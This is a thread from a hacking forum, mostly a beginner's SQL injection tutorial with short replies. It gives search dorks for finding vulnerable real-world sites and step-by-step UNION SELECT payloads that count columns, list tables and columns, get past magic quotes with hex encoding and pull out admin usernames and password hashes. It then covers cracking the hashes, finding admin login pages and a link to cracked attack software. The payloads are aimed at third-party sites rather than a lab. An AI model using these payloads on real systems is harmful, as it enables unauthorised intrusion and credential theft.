Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUT] SQL injection [TUT]

Hello everyone, today i am gonna teach you about SQL injection.

What is SQL injection?

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

That is the first paragraph of the wikipedia page for SQLi (SQL injection) found here:
http://en.wikipedia.org/wiki/SQL_injection

I would advise reading the entire page.

What you need to do:

Either you need to find vulnerable sites manually or you can use my tool for finding vuln sites here: http://www.the-exiled.net/viewtopic.php?...9c79d8ab3d

To find sites manually, simply use 1 of these search dorks (or pm me if you want more dorks)
Quote:inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=


Checking for vulnerability:

In order to check if a site is vulnerable to SQL injection, just put a ' in the end of the url like this:
Quote:http://www.examplesite.com/index.php?id=5'


If the site shows you an error it is vulnerable to SQLi.

Lets say we found a vulnerable site. In order to successfully extract information from the database we need to do a few things, so it might be a good idea to open a text document so you can write stuff down.

First we need to find out how many columns there is in the database. To do so we will use this query:
Quote:http://www.examplesite.com/index.php?id=5 order by 1--


And we will keep increasing the number until we get an error.
Quote:http://www.examplesite.com/index.php?id=5 order by 5--
http://www.examplesite.com/index.php?id=5 order by 10--


Lets say there is 10 columns in the database.

Now we need to find out which columns that are vulnerable to SQL injection. To do so we will use this query:
Quote:http://www.examplesite.com/index.php?id=-5 union select 1,2,3,4,5,6,7,8,9,10--


Btw notice that i put a single - in front of the id number (id=-5)
Since there is no page with the id -5 it simply put just clears the sites text for us. That makes it easier for us to find the data that we are looking for.

Okay lets say the numbers 3, 6 and 9 popped up on the site. These are the vulnerable tables. Now we wanna find the version of the database. To do so we will use this query (in either 1 of the vulnerable tables but i chose 3 for this example)
Quote:http://www.examplesite.com/index.php?id=-5 union select 1,2,@@version,4,5,6,7,8,9,10--


And if that doesn't work then try this 1:
Quote:http://www.examplesite.com/index.php?id=-5 union select 1,2,version(),4,5,6,7,8,9,10--


Now we want to get the name of the database for later usage, to do so we will use this query:
Quote:http://www.examplesite.com/index.php?id=-5 union select 1,2,concat(database()),4,5,6,7,8,9,10--


Write that name down so you wont forget it. Lets say the database name i just extracted was named exampledatabase

If the version is 4 or below, it is probably best that you just move on to another site since you are gonna have to brute force the tables for information (which isn't a very good idea for starters :lol: )

If the version is 5 or above then we will use this query to show all the tables:
Quote:http://www.examplesite.com/index.php?id=-5 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--


Btw you dont have to group concatenate the output here. These queries would work as well
Quote:http://www.examplesite.com/index.php?id=-5 union select 1,2,concat(table_name),4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--
http://www.examplesite.com/index.php?id=-5 union select 1,2,table_name,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--


Now you have the table names! Now you need to look at those tables and see if you can spot some tables we know has good information in it, tables such as:
  • User(s)


  • Admin(s)


  • tbluser(s) / tbl_user(s)


  • tbladmin(s) / tbl_admin(s)



Ofc the admin might not have given the table such an obvious name so you might have to look around abit.

Once you have found the table you think has the information you want, we will use this query (In this example i use admin):
Quote:http://www.examplesite.com/index.php?id=-5 union select 1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns where table_name="admin"--


If the site shows you an error now dont panic! All that means is that Magic Quotes is turned on. To bypass this we need to convert the text "admin" into hex.

To do this:
  • Copy the name of the table you are trying to access.



  • Paste the name into the website where it says "Say Hello To My Little Friend".


  • Click Convert


  • Copy the hex into your query like this.



Quote:http://www.examplesite.com/index.php?id=-5 union select 1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns where table_name=0x61646d696e--


Notice the 0x before the hex string. This is to tell the server that the next part is a hex string.

You should now see all the columns inside the table.

Now, once again you will have to spot the columns we wanna see the contents of (although it is hopefully easier this time)

Lets say there are 2 columns called username and password. In order to see what are inside of those columns we will use this query:
Quote:http://www.examplesite.com/index.php?id=-5 union select 1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10 from exampledatabase.admin--


this is where we needed the database name. Btw the 0x3a means colon ( : )

Now you have the admin login!

If it is decrypted, try to run it through some online md5 'decrypters' or use my free cracked havij here - http://www.the-exiled.net/viewtopic.php?...9c79d8ab3d

And now we have to find the admin login.

to do so, once again you can use havij for that, or you can search for it manually. If you wanna search manually you can try pages like these:
Quote:http://www.examplesite.com/admin.php
http://www.examplesite.com/admin.asp
http://www.examplesite.com/admin/
http://www.examplesite.com/adminlogin.php
http://www.examplesite.com/adminlogin.asp
http://www.examplesite.com/adminlogin/
http://www.examplesite.com/login.php
http://www.examplesite.com/login.asp
http://www.examplesite.com/login/


etc etc.

And that was my tutorial on SQL injection. i hope you liked it!
If this teaches me, ill give you a dollar...

Also, at the beggining, where it has the vuln tester... can you just post a link to it please?
My point, I guess, is that you can be that person. Everyone has a dark moon, be the astronaut. You have the potential to be a greater person than you might possibly imagine.

Philsho
(May 22, 2011 04:04 AM)+Pirate Wrote:  If this teaches me, ill give you a dollar...

Also, at the beggining, where it has the vuln tester... can you just post a link to it please?

u can keep the dollar mate :< as long as u are learning!

i wont share link here but i have pm'd u the download link.
really nice tutorial :) :)
(May 22, 2011 04:41 AM)doblaflix Wrote:  really nice tutorial :) :)

thanks mate :) hope this taught u something!
can i have the tools too please?
well...for SQL Injection : there are many tool.
i guess you can use SQLMAP
http://sqlmap.sourceforge.net/

thats one is easy....
(May 22, 2011 06:47 AM)doblaflix Wrote:  can i have the tools too please?

PM'd u the dl links :)

(May 22, 2011 07:15 AM)Mr.M3AN Wrote:  Not gonna report you but asking for rep is bannable, edit it quickly!
Nice tutorial!

ah didn't know that, gonna fix it right away. thx for letting me know mate !
cool tut man im going to bookmark this and try it
Nice tutorial! Thank you!
(May 22, 2011 07:34 AM)RainbowFog Wrote:  cool tut man im going to bookmark this and try it

(May 22, 2011 07:41 AM)TwilightSpurkle Wrote:  Nice tutorial! Thank you!

Thanks guys :) i really appreciate it!

Btw if u ever need any further assistance with SQLi just feel free to send me a PM!
i have problem with the scanner can you help me pls:(
(May 22, 2011 09:51 AM)doblaflix Wrote:  i have problem with the scanner can you help me pls:(

pm'd u mate :)

-too short msg
nice that u wrote one but
We have a whole section for this :<
and theres like 100 similar tutorials in the SQLi section
Nice tutorial, only you forgot to say, that if you get an error at order by 10--, there are 9 colomns:)


Possibly Related Threads...
Thread / Author Replies Views Last Post
by OrochimaruMar 5, 2024 11:47 AM 56 6,383 Mar 5, 2024 11:47 AM
Last Post: Any1One
by SmiggleJun 22, 2018 08:05 AM 2 400 Jun 22, 2018 08:05 AM
Last Post: Smiggle
by Stop cryJun 16, 2018 05:18 AM 9 1,117 Jun 16, 2018 05:18 AM
Last Post: Wiredtothemoon